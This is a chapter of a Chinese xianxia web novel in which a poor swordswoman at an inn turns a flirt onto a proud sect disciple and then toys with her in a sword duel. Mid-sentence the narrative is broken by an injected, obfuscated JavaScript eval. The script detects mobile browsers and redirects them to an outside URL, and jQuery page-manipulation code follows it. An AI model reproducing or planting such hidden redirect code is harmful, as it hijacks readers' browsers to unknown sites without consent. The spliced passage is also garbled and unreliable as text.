又是一阵吵嚷,商贩们下楼来到大堂,边闲侃边等餐食。其中一个清秀男子张望一阵,先是把目光凝在丁萤脸上,见她通身气派不像自己招惹得起的,遂恋恋不舍移开目光,无意瞥见角落里的姜青岚,顿时眼睛发亮。
昨天烛火昏暗,倒是没看出这丫头也有几分姿色,而且穿得破破烂烂的,应该随便使点小手腕就能得手。想毕,便起身朝那边走去,身后传来同伴的哄笑声:“他老毛病又犯了。”却无一人阻拦。
男子站定在姜青岚身侧,关切道:“这么冷的天,姑娘就穿这么件单衣,小生看着也心疼啊。“说着,就把自己的披风解下欲披在她身上。
姜青岚没回头,依旧在吃面,左手随意把桌上搁着的木勺扔出去,正好击在男子手肘麻筋处,男子吃痛叫了声,披风也跌落在地,满脸慌张,左顾右盼。
没发觉什么异常,他收起慌张,从容拾起披风,坐在姜青岚对面,继续柔情款款地搭话。
丁萤早注意到了那边的动静,已留神听了好一会儿。她适才一会儿抱怨吃食差,一会儿烦躁地处偏僻,一会儿埋怨地上的尘土污了自己的衣裙,明里暗里想庄邈安抚安抚自己,偏偏他一点都没理会。
她正在气头上,又兼素日掐尖要强,自负美貌,见一个灰头土脸的村姑得了奉承,自己却屡屡碰壁,心里自然不大自在。
见姜青岚一言不发,也不赶那人走,不由得生出轻蔑,冷笑一声道:“这架子拿得未免太高了,要是不乐意被人捧,早就轰人了,现在这般模样不就是待价而沽吗?真是——”
“慎言。”
察觉到庄邈不悦的目光,她悻悻然住嘴撇头,自然忽略了姜青岚唇边轻微勾起的弧度。
那边厢,青年越说越露骨,正把手伸到桌对面欲挑起少女的下巴,她却蓦然抬头,一副市侩的奸猾相,“别在我这儿费功夫了,我给你指明条路,看到那边的姑娘没有,那才是真绝色呢!再看看她身上穿的头上戴的,哪一样不是宝贝?啧啧,谁要是娶了她,可十辈子不愁吃穿咯,可惜我不是男子,要不然,拼了命也得往跟她跟前凑凑。”
青年听了这番鼓舞,想立时弃了姜青岚转奔丁萤去,又见丁萤身侧还有三个男子,害怕不敌,一时踌躇。
“怎么你这个大男人,连去说句话都不敢么?唉,我观你一表人才,或许去这一遭,此后飞黄腾达也未可知呢?”姜青岚摇头叹息。
青年被这话一激,即刻抖擞精神,仔细整理了衣衫,朝丁萤翩翩走过去,停在丁萤身旁约一寸的距离,使出浑身解数极尽奉承。
把他的前后言辞一比较,便发现他先前对姜青岚说的那番话要轻佻得多,此刻倒是有几分斯文公子的皮。
丁萤万万没料到这穷丫头竟玩祸水东引这招,而这种她从不正眼瞧的货色居然也真有胆子来跟她搭话,一时气得发抖。
身旁两位同门师兄早已拍案而起,怒斥这个宵小,偏偏庄邈仍端坐着,不言不语,甚至头也不抬。
丁萤希冀他为自己出头的期望破灭,愈发气恼,也忘了不能跟普通人动手的门规,只管把气撒在这人身上,先是赏了他一巴掌,然后伸脚把他踢飞,砸坏了好几副桌椅。
青年躺在地上,疼得都没力气大声哀嚎,商贩们见事不对,这才围上来,把他搀起,其中一个高大汉子冲丁萤粗声怒喝:“你为何出手伤人?”
丁萤下巴一扬,冷声道:“他辱我苍梧派,我如何打不得?”
原本起身欲走的姜青岚,一听这话,又自然坐下来,抄起茶壶倒了盏热茶边喝边看热闹。
不料又对上那个“邈哥哥”的目光,顿觉头疼。这人也太敏锐了,要是跟她抢火灵玉,恐怕事情会有些麻烦。而且这劳什子苍梧派,好像听师叔提过一嘴,似乎挺厉害的,而且跟本派似乎不对付,这下她头更疼了……
那边人多势众气焰嚣张的商贩们一听苍梧派这三个字,怒气被冷水浇灭,一时间战战兢兢,最开始站出来吼丁萤的汉子已悄悄躲到人群身后了。
领头的老余只得硬着头皮出来连连作揖赔罪,又抬腿狠狠朝地上的男人踢了一脚,那男子暗骂遇上了硬茬,也忍痛心不甘情不愿地道了歉。
好容易消停,男子以几不可闻的声音嘟囔了句:“对普通人出手,算什么仙门之首?”
丁萤暴怒,即刻拔剑刺向他,怒声道:“找死!”
“住手。”
平地卷起一股罡风,阻拦住剑势,锐利的剑锋堪堪停在他面门之前,剑身映出他惊恐的双眼。
姜青岚饶有兴趣地看着庄邈散了诀的左手,骨节分明,挺好看的一只手。实力嘛,能这么快掐诀以风止住剑势,也不容小觑。
男子惊魂未定,丁萤冷哼一声,竟真收了剑,不再出手。
庄邈走上前,语声清冽,对老余道:“此事非我门中人挑起,门规所言是对无辜平民出手,此人绝非无辜,但师侄的确出手过重,这是医药费,请收下。”堪堪够男子看病吃药的花销。
说罢转向一边瑟瑟发抖的吴三,又取出一锭金子,“这是砸坏桌椅的赔偿,请掌柜收下。”
这人有点意思,姜青岚又望了庄邈一眼,见事情已了结无甚可看,便背上剑往外走,身后一声怒叱:“站住!”,随即一道身影旋风般挡到她身前。
丁萤乍与姜青岚对上眼,便被她锐利的目光惊得心里一颤,下一瞬又恼火自己这般胆小,竟然被这丫头片子唬住了。
再然后,她又认真打量起此女。此女全然没有寻常女子的温婉气韵,却自有一派潇洒英气。想到方才邈哥哥多半是在看她,不由得更是气闷,这下反倒动了真气。
“你真是无耻!”
姜青岚挑眉,勾唇道:“你这话没头没尾,我可听不懂。”
丁萤怒道:“你以为我不知道是你让那登徒子来找我的吗?”
“是吗?”姜青岚面露疑惑。
“你还装模作样?我都听到了!”
“啧,不是你先说什么拿架子,什么待价而沽么?就算要道人长短,好歹也避着人再说不是?”
姜青岚笑得愈发灿烂,眉眼间竟有些明媚,身上死气沉沉的氛围顿时活泛起来,竟有几分摄人心魄的美。只是她眸子里却全无笑意。
此言一出,苍梧派众人齐齐朝她看去,尤其是庄邈,目光沉沉。这距离,寻常人根本不可能听到,这只能说明……此女绝非常人。
丁萤乍然被正主当面拆穿嚼人舌根,到底有些心虚,并未想到这茬,当下惊疑不定,脱口而出“你听到了?”
这便是不打自招了。
姜青岚笑而不语,只是那笑中看起来有些不耐和厌烦。
庄邈随同门走至丁萤身侧,对姜青岚微微颔首算是打过招呼,随即温和道:“我代她向姑娘道歉,此事她也有不对。”
姜青岚这才正眼瞧他,却不是什么愤怒的目光,又不像是倾慕,只目不转睛直盯着他半晌。
女子大多矜持羞涩,更遑论修仙之人。是以,庄邈长这么大,从未被女子如此近距离又这般直白地盯着看过,虽表面平静,耳朵却有些发热,视线也不自觉回避开。
丁萤大怒,挡在庄邈身前,拔剑指着姜青岚嚷道:“你,你看什么看?!”
姜青岚微微侧头,似乎真的在思考自己为什么盯着人看了这么久。过了一会儿,许是想到了缘故,她微微点头,无比自然道:“他好看,我就看了。”
“你,你好生不要脸,我要杀了你!”
“不可——”
丁萤手中剑光一闪,便往前刺去。
庄邈前一刻还在飞速结印的手顷刻顿住。
眼前的贫寒少女只是反手拿下背着的黑布包袱往前格挡,便轻松抵挡住这一击。姜青岚垂眸望向被刺出一个缺口的黑布,心疼极了。
庄邈尚算镇定,丁萤已惊骇到口不能言。
她这把剑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501112|170343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乃当世十大名剑之一,除了她,另外九把剑的主人都是剑修至尊。莫说接下这一剑,便是修为深厚之人,想不被剑风伤到,都得在拉开距离的同时运气抵御。
可,这山野村姑就这么轻飘飘地挡下来了?
姜青岚有些愠怒,在瞥了眼被剑风划开的袖口后更是皱起了眉头,看了丁萤一眼,觉得跟这人说不通道理,便转向庄邈,认真道:“你们得赔我衣裳。”
不知想到什么,又唇角勾出讥讽的笑,眼神冷漠,“还有,此事,就是她的错。”
庄邈一怔,才意识到这句话是她对自己那句“此事她也有不对”的回答。
丁萤心中的惊骇被火气压下,想到庄邈虽不会使剑,但符咒一术乃是当世奇才,两人联手必能压制对方,更何况身边还有两位师兄相助,便冷笑道:“你若不想死在我剑下,趁早跪地求饶!”
说罢,便长剑横扫,功势愈急,全然不顾身后庄邈的喝止。
姜青岚身形一闪,边格挡,边大声问:“砸坏的物件你来赔,否则姑奶奶我不陪你玩。”
丁萤气恼不语,姜青岚便朝庄邈看去,“这位邈哥哥,你不说话就当你同意赔我的衣裳跟砸坏的物件了。”
尽管向来少年老成,庄邈也是一愣,竟是极难得地懵住了。他真的很难理解一个女子怎会第一次见便如此自然地这般称呼他。想到她多半听到丁萤这般喊自己,所以有样学样,莫名有些羞恼和窘迫。
姜青岚也未注意他,在丁萤愈发凌厉的攻势下眼神隐隐兴奋,一个跃起翻身边躲开剑锋边从黑布中抽出柄极锋利的剑,从此刻起,转守为攻。
她在山上呆了十年,平日只跟师父和师叔过招,虽然师叔说她在同龄人中必无敌手,可到底没跟第三人交过手,此刻倒真起了切磋的心思。
她的路数很奇怪,像是乱打一通毫无招式,此前只守不攻,拔剑后却只攻不守,丁萤一直没占过上风。
两位同门围在庄邈左右叽叽喳喳,“师叔快救救小师妹吧,她要是受伤了,我们怎么与玄青师祖交代啊?!”
庄邈不语,只盯着中间的两人。吴三早一溜烟躲出门,脑袋从墙边探出来看局势,小二瑟瑟发抖,扯着吴三点袖子低声道:“掌柜,我们先躲远点吧,等她们打完再回来。”
吴三一瞪眼,“不行,万一她们打完就跑,我这店谁来赔?”
小二小声嘀咕:“那锭金子已经够把客栈里里外外翻新一遍了。”吴三却没在意,反而把手伸进口袋掂量金子的重量,思忖:按照这个大方程度,自己约莫可以去城里开客栈,再置办几套房产了!还要这间客栈做什么?
丁萤打得极为吃力,却又没受一点伤,因而觉得对方或许跟自己不相上下,因此勉力支撑,希冀能逆转战局。
“丁萤住手。”庄邈蹙眉。
孰料这话反而起了反效果,丁萤本就倔强,不愿被人看轻,尤其是庄邈!她衰减的斗志被瞬间激发,剑招重又层出不穷地施展。
她强,姜青岚就更强,仍是游刃有余地接招,过招。此时,连丁萤的师兄们都看出不对劲了。
如果说这俩人当真势均力敌,为何丁萤每次势颓,此女攻势便缓,丁萤势强,此女也不落下风?可如果此女剑术高出丁萤一大截,为何俩人过招却缠绵至此?倒像是她在戏耍着人玩?想到此种可能,几人脸都绿了。
“够了,你想当她的磨刀石吗?”这是一声喝止。
邈哥哥生气了?丁萤一顿,姜青岚的剑便架在了她白皙的脖颈上。
“生死之间,可不能分心。”姜青岚微微侧头,眼眸溢出戏谑,唇角勾起。
瞥见外头的日光,知道自己已经耽误了太久,这几人的深浅也算是摸到一点,索性点了丁萤的穴道,喂了她一颗丹丸,抓起她往后院扔去,自己则轻点脚尖跃上屋脊,丢下一句:“先给她解毒吧,我下回再找你们赔偿。”
几个起落间,人影已不见。